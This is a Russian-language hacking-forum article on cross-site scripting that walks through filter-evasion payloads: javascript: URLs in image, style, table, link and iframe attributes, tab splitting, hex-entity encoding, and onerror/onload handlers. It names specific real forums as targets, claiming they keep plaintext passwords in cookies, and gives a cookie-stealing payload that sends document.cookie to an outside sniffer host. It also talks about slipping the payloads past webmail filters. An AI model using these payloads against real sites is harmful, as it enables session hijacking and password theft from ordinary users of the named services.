Оказалось, что в атрибуте style можно указывать URL фонового рисунка для тега. А где можно указывать URL, там можно записать и скрипт. А главное то, что фоновый рисунок загружался сам , по окончании загрузки HTML документа! Если я хотел показать алерт участникам чата, я логинился со следующим цветом:

Теперь прочтите что такое протокол,

http://www.antichat.ru/crackchat/HTTP/http.html

Цитата:
Сообщение от Algol 
Для начала, выясним для себя что такое протокол вообще. Протокол - это некоторый набор правил и ключевых знаков, предназначенный для общения устройств между собой. Он необходим для того что бы компьютеры или их части могли однозначно понять друг друга.

Протокол - язык общения компьютеров в сети.

Фактически любой набор команд можно назвать протоколом, но на практике понятие протокола применяется только к так называемым сетевым протоколам - языкам общения компьютеров в сети. Каждый протокол имеет определенное назначение и поддерживается специализированным программным обеспечением.

И конечно не мешало бы прочесть её целиком.

Где мы остановились иМхо....а да!

Ну так вот...

Иногда, закрыть параметр одного тега, кавычкой другого параметра тега - невозможно из-за хорошей фильтрации. Что делать тогда?

Есть такой вариант, который всегда забывается писателями фильтров из-за не понимания как в состоянии может работать JavaScript а главным образом - как работают браузеры и протоколы. (Они статью Алгола не читали)

Для начала расскажу информацию на разброс..

Само слово, "Browser", это существительное, (Noun) что в переводе на русский язык означает - Просматриватель. Произошло это Английское слово нашего браузера, от его глагола, (verb) - To Browse. "To Browse", по Английски означает - Просматривать, просмотреть.

Код HTML:

<img src="http://www.wj.gif">

Если слова атрибутов написать не сокращенно, то мы получим "image source".
"image" Это в переводе с Английского слова на Русский, означает - Изображение.
Слово, "source", это переводится как - Источник.

После статьи Алгола про протоколы, вам станет ясно, что если в параметр тега ссылки,

Код HTML:

<a href="http://www.wj.com">wj</a>

Указать,

Цитата:
javascript:alert(/wj/)

Написав вот так.

Код HTML:

<a href="javascript:alert(/wj/)">wj1</a>

То при клики юзера на имя ссылки, "wj", у юзера выскочит алёрт.

Ну это при щелкании пользователя выскочит алёрт....а возможно ли это сделать так, чтобы это было автоматически вы меня спросите? =)

Конечно можно Я отвечу =) ...просто тег ссылки, заменим на тег картинки.

Код HTML:

<img src="javascript:window.alert(/wj/)">

Или чуток по короче:

Код HTML:

<img src="javascript:alert(/wj/)">

Ну и сейчас хлынут массовые вопросы типа:

А почему строка

Код HTML:

<img src="javascript:alert(/wj/)">

работает только в ИЕ и в Опере?

А вообще почему легендарный так сказать код Алгола,

Цитата:
Style=background:url(javascript:alert('wj'))

не работает даже в Опере?!....

Ответ,


















Работает во всех браузерах, но об этом чуток потом. А вообще кто вам всем сказал такие глупости? Да и вообще Я удивляюсь, что за 5 лет, на античате, НИКТО не додумался дописать Алголовский код ну, ХОТЯ-БЫ для Оперы! Очевидно, что никто ничего не понимал, а просто делал copy/paste.

Ну начну с самого начала что-ли тогда.....

Сам код,

Код HTML:

<img src="javascript:alert(/wj/)">

Работает не только в ИЕ и в Опере, но в и в браузере Фаерфокс, однако просто напросто происходит фильтрация и пользователь мануально должен кликнуть на не отобразившуюся картинку, чтобы у него выскочил алерт.

Приведу кусок объяснения JavaScript консоль, которая находится в разделе "Инструменты". (В самом верху браузера)

Цитата:
Error: uncaught exception: Permission denied to get property Window.alert

Перевожу,

Цитата:
Ошибка: Не выполненное исключение: Разрешение отказано получить свойство Window.alert

Хотя

Код HTML:

<a href="javascript:alert(/wj/)">wj</a>

При клики пользователя на имя ссылки, алерт будет работать во всех трех ведущих браузерах. ИЕ, Опера и Фаерфокс.

Или вот ещё одна цитата,

Цитата:
Attempt to load a javascript: URL from one host
in a window displaying content from another host
was blocked by the security manager.

Так вот, в Фаефокс, уже встроена маленькая защита от таких видов атак. В ИЕ кстати, она теперь тоже есть, но только работает на localhost.

Как её отключить?

Описываю по Английски,

Идете в раздел, "Tools", потом в раздел, "Advanced", и в самом низу, вы увидите, "Security", теперь вы увидите "Allow active content to run in files on My Computer" поставьте сюда галку.

Если она у вас отключена по умолчанию, и вы её включите, то почти все автоматические скрипты теперь будут браузером ИЕ - блокироваться. (Однако только на localhost!) В фаерфоксе как уже сказал, этот метод защиты стоит по умолчании и его даже отключить нельзя.

А теперь продолжим нашу статью.

Уже понятно, что если в ББ кодах картинки тега, вписать следующие:

Код HTML:

--

То в результате, мы получим обработанный ББ кодами следующий результат в HTML, и у нас выскочит алёрт.

Код HTML:

<img src="javascript:alert(/wj/)">

Чтобы такого не случилось, то есть чтобы пользователь не имел возможности вливать свои команды JavaScript`a когда он посылает динамический материал который будет виден всем, многие фильтры очень умно, просто напросто сами добавляют http:// в ББ код ссылки или картинки, перед динамическим значением пользователя.

То есть, если мы на хорошо фильтрующем форуме, в ББ код картинки засунем следующий материал,

Код HTML:

--

То он обработает это вот так:

Код HTML:

<img src="http://javascript:alert(/wj/).gif">

И плакали все наши старания атаковать через этот метод....

Но некоторые фильтры вместо того, чтобы просто добавить http:// перед любым введением динамического материала пользователя, просто фильтруют слово JavaScript заклиниваясь на нем....они просто не понимают, что работает, почему что то работает и как что то работает вот и все. В итоге лечат как называется - в слепую. О как много значит понимать!!!

Ну пойдем-те дальше.

Если к примеру, на форуме XXX ввести следующие значение,

Код HTML:

--

То форум поставит слеш, в середине слеша две звездочки, а потом эти две звездочки закроются другим слешом. В результате он выдаст вот такую конструкцию:

Код HTML:

<img src="java/**/script:alert(/wj/)">

Конструкция /**/ это тоже самое (Образно говоря, конечно не совсем так, так как это зависит чисто от ситуации. Это вообще то даже не пробел, а совсем другое, однако это не совсем важно иМхо.) что и пробел. То есть он просто слово JavaScript, разделил пробелом.

Код HTML:

<img src="java script:alert(/wj/)">

Да, так работать Javascript не будет....но если бы писатель фильтров форума ХХХ понимал, что собственно происходит ДО того как параметры обрабатываются, то он все таки поставил бы http:// вместо того, чтобы заклиниваться на ключевом слове JavaScript.

Когда браузер берет значение параметра, то он его до выполнения обрабатывает это мы знаем.....а теперь давайте посмотрим, что будет если перед каждым словом, мы вставим табуляцию. Давайте посмотрим как обработает это браузер.

Код HTML:

<img src=" j a v a s c r i p t : a l e r t ( / w j / ) ">

Перед каждым словом, стоит табуляция. Введем мы одно, а получим в результате - другое. Наше динамическое введение в ББ код картинки, будет передано форуму, который засунет это в файл где будет скан на наш динамический ввод, не найдя ничего запретного, файл вставит это в HTML, а браузер обработает наш динамический ввод - по своему. =)))

Код HTML:

<img src=" j a v a s c r i p t : a l e r t ( / w j / ) ">

Браузер как в чём не бывало, просто напросто уберет все табуляции ДО выполнения. В итоге, он выполнит следующие:

Код HTML:

javascript:alert(/wj/)

И опять таки, у нас выскочит алёрт.

Тоже самое происходит и с HTML entities DEC, HEX т.д. Браузер их обрабатывает и расшифровывает их до выполнения параметра.

Имея теперь такое новое знание, рассмотрим ещё одну фильтрацию на примере

http://forum.Xakep.ru http://forum.gameland.ru и http://forum.xyligan.ru

Ведь уже понятно, что совсем не обязательно использовать ББ коды....ведь ещё есть и персональная фотография, и аватара....они будут идти с вами куда бы не бывало и будут преданны вам каким бы хамом вы бы небыли...с кем бы вы не говорили....короче все вас могут бросить, а они с вами - вечно.

Идём в наши настройки профиля и указываем адрес в нашу аватару как:

Код HTML:

javascript:alert(/wj/)

Мы получим подтверждение, что наш профиль обновлен.

Давайте теперь заглянем в HTML.... (Ctrl+U)

Получилось следующие...

Код HTML:

<html><body><img src="java:alert(/wj/)"></body></html>

Очевидно, что файл который сканил наш динамический ввод, нашел неприятное для него и любезное для нас слово JavaScript, и нагло разделил его, а потом без нашего разрешения вырезал вторую половину...

ЧТО ЗА БЕСПРЕДЕЛ!? Вы меня спросите....спакуха, Я с вами.

А давайте посмотрим, что будет, если буквы javascript мы зашифруем ихними эквилиаторами.

Цитата:
&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;alert(/wj/)

Уже понятно что будет, наш браузер, наш динамический ввод, расшифрует перед выполнением нашего параметра и у нас выскочит алёрт.

Вот такая мы команда Я и мой браузер, Я шифрую, он расшифровывает. +)

Как написать сниффер?

Цитата:
&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:document.images[1].src='http://antichat.ru/cgi-bin/s.jpg?kezletron'+document.cookie

Вот так.

Причем форумы http://forum.Xakep.ru http://forum.gameland.ru и http://forum.xyligan.ru

Прославились тем, что они пассворд в куках пользователей - держат в открытом виде.

Теперь куки, а в них и не зашифрованный пароль в открытом виде, будут приходить на публичный античатовский сниффер от всех юзеров кто пользуется браузером ИЕ и Опера, а вам только нужно будет разговаривать с собеседниками у которого браузер ИЕ или Опера - как в чём не бывало.

Используйте эту ссылку для шифровки. http://ha.ckers.org/xss.html

Эту ссылку, чтобы выучить языки, правда все на Английском.

http://www.w3schools.com/

Эту ссылку,

http://www.lookuptables.com/

Для просмотра значений ASCII (American Standard Code for Information Interchange)

Ну и продолжим нашу статью.

Собственно теперь вопрос почему код:

Код HTML:

<html><body> <span style="background:url(javascript:alert(/wj/));">wj</span> </body></html>

Или,

Код HTML:

<html><body> <span style="background-image:url(javascript:alert(/wj/));" >wj</span> </body></html>

Работает только в браузере ИЕ?

Во-первых, если кто не знал, это (В параметре) язык CSS, и следовательно писать надо четко и понятно, так как система ИЕ убирать ошибки программистов, не так уж и разработана в таких браузерах как Фаерфокс и Опера.

Я пришел к выводу, что ссылку надо заключать в кавычки.

Код HTML:

<html><body> <span style="background:url('javascript:alert(/wj/)');">wj</span> </body></html>

Или,

Код HTML:

<html><body> <span style="background-image:url('javascript:alert(/wj/)');" >wj</span> </body></html>

Или,

Код HTML:

<html><body> <span style="display:none;background:url('javascript:eval((this .wj1));wj1=alert(/wj2/);') "> </body></html>

И теперь все, и везде - работает. Во всех трех браузерах.

Однако только потому что теперь Алголовский од работает во всех трех браузерах, совсем не означает, что фаерфокс эту атаку не от-блокируют.

Для начала, выложу то, что работает в ИЕ и Опере:

Код HTML:

<html><body> <table width="100%" background="javascript:alert('wj')"> </body></html>

Или,

Код HTML:

<html><body> <table cellpadding="0" background="javascript:alert('wj')"> </body></html>

Ибо как только мы поняли, что вместо урл можно вставлять,
Код HTML:

javascript:alert('wj')

То следующие действия очень понятны. Найти все, что указывает урл, (Используйте для этого следующий урл http://www.w3schools.com/ ) и вставить туда

Код HTML:

javascript:alert('wj')

К примеру,

Код HTML:

<html><body> <table background="javascript:alert('wj')"> </body></html>

Ну и так далее иМхо.

Код HTML:

<html><body> <script language="bla bla bla" type="text/bla" src="javascript:alert('wj')"></script> </body></html>

Код HTML:

<script type="text/javascript" src="javascript:alert('wj')"></script>

Код HTML:

<html><body> <link rel="stylesheet" type="text/css" href="javascript:alert('wj')"> </body></html>

Выскакивает алёрт в ИЕ и Опере, (Фаерфокс это блокирует, но потом покажу что он НЕ блокирует) и ни единой паливы иМхо.

Мне кажется, что ни один имейл не сможет отфильтровать то, что Я вам сегодня дал. Именно по этому Американским солдатам, ЗАПРЕЩЕНО использовать такие ящики как http://www.hotmail.com/ http://mail.yahoo.com/ и http://www.gmail.com/ ...что уже говорить у русских ящиках которые не имеют достаточно финансов, чтобы иметь защиту, ну хотя бы ПОХОЖУЮ иМхо на Америкосовские ящики ИМХО ибо Я Гений.

Но продолжим, ибо это вы и так уже знаете.

Для начала, поясню кое что для новичков,

Это,

Код HTML:

<script language="javascript">a=1;while(a>=0){alert(a);a--}</script>

Тоже самое, что и это,

Код HTML:

javascript:a=1;while(a>=0){alert(a);a--}

Где убрав угловые скобки и сократив наш скрипт до вышеприведенной строки, мы так же дали знать браузеру посредством протокола, что идет язык JavaScript.

Чуток о мылах.

Должен заметить, что иногда, проверяется или точнее сказать фильтруется на ящиках только первый параметр тега с его атрибутом...но ведь ещё есть и вспомогающие атрибуты...про них иМхо, часто писатели фильтров - забывают.

К примеру:

Код HTML:

<html><body> <img class="inlineimg" src="javascript:alert('wj')" alt="" border="0"/> </body></html>

А теперь давайте рассмотрим, что Фаерфокс НЕ блокирует, чисто для примера. Ибо способов уйма иМхо.

Код HTML:

<html><body> <body onload=alert(/wj/)> </body></html>

Код HTML:

<html><body> <img src="" onerror=alert(/wj/) style="display:none"> </body></html>

Код HTML:

<html><body> <img src="" onerror="javascript:alert('wj')"> </body></html>

И хоть в этой статье, http://antichat.ru/crackchat/HTML/

И говорится что цитирую:

Цитата:
<iframe src=javascript:alert('ok')> (только в IE)

Однако в фаерфкос это работает.

Код HTML:

<html><body> <iframe src= "javascript:eval(this.wj); wj=this.wj='<scrip\x74>aler\x74(/wj/);</scrip\x74>'"> </body></html>

(Использована табуляция для попытке обхода фильтров на ящиках.)

Код HTML:

<html><body> <iframe src= "javascript:eval(this.wj); this.wj='<scrip\x74>aler\x74(/wj/);</scrip\x74>'"> </body></html>

(Использована табуляция для попытке обхода фильтров на ящиках.)

Если в настройках в ИЕ, запретить active content работать в файлах на нашем компьютере, то в отличие от Фаерфоксовской защиты, которая в Фаерфоксе по умолчанию и изменить ее нельзя, обойти защиту ИЕ, которую нужно отредактировать в настройках - однако никак нельзя. Что есть существенное доказательство, что IE и ЕСТЬ самый защищенный браузер среди его конкурентов у себя на компьютере ) Просто надо правильно уметь им пользоваться. +)

В других словах ИЕ, является самым лучшим и самым защищенным браузером на сегодняшний день от атак XSS на localhost.

На этом пожалуй и окончу свою Гениальнейшую статью.

White Jordan.

0


Вы здесь » Что с компьютерами » XSS Уязвимости » XSS Крупным планом.


Рейтинг форумов | Создать форум бесплатно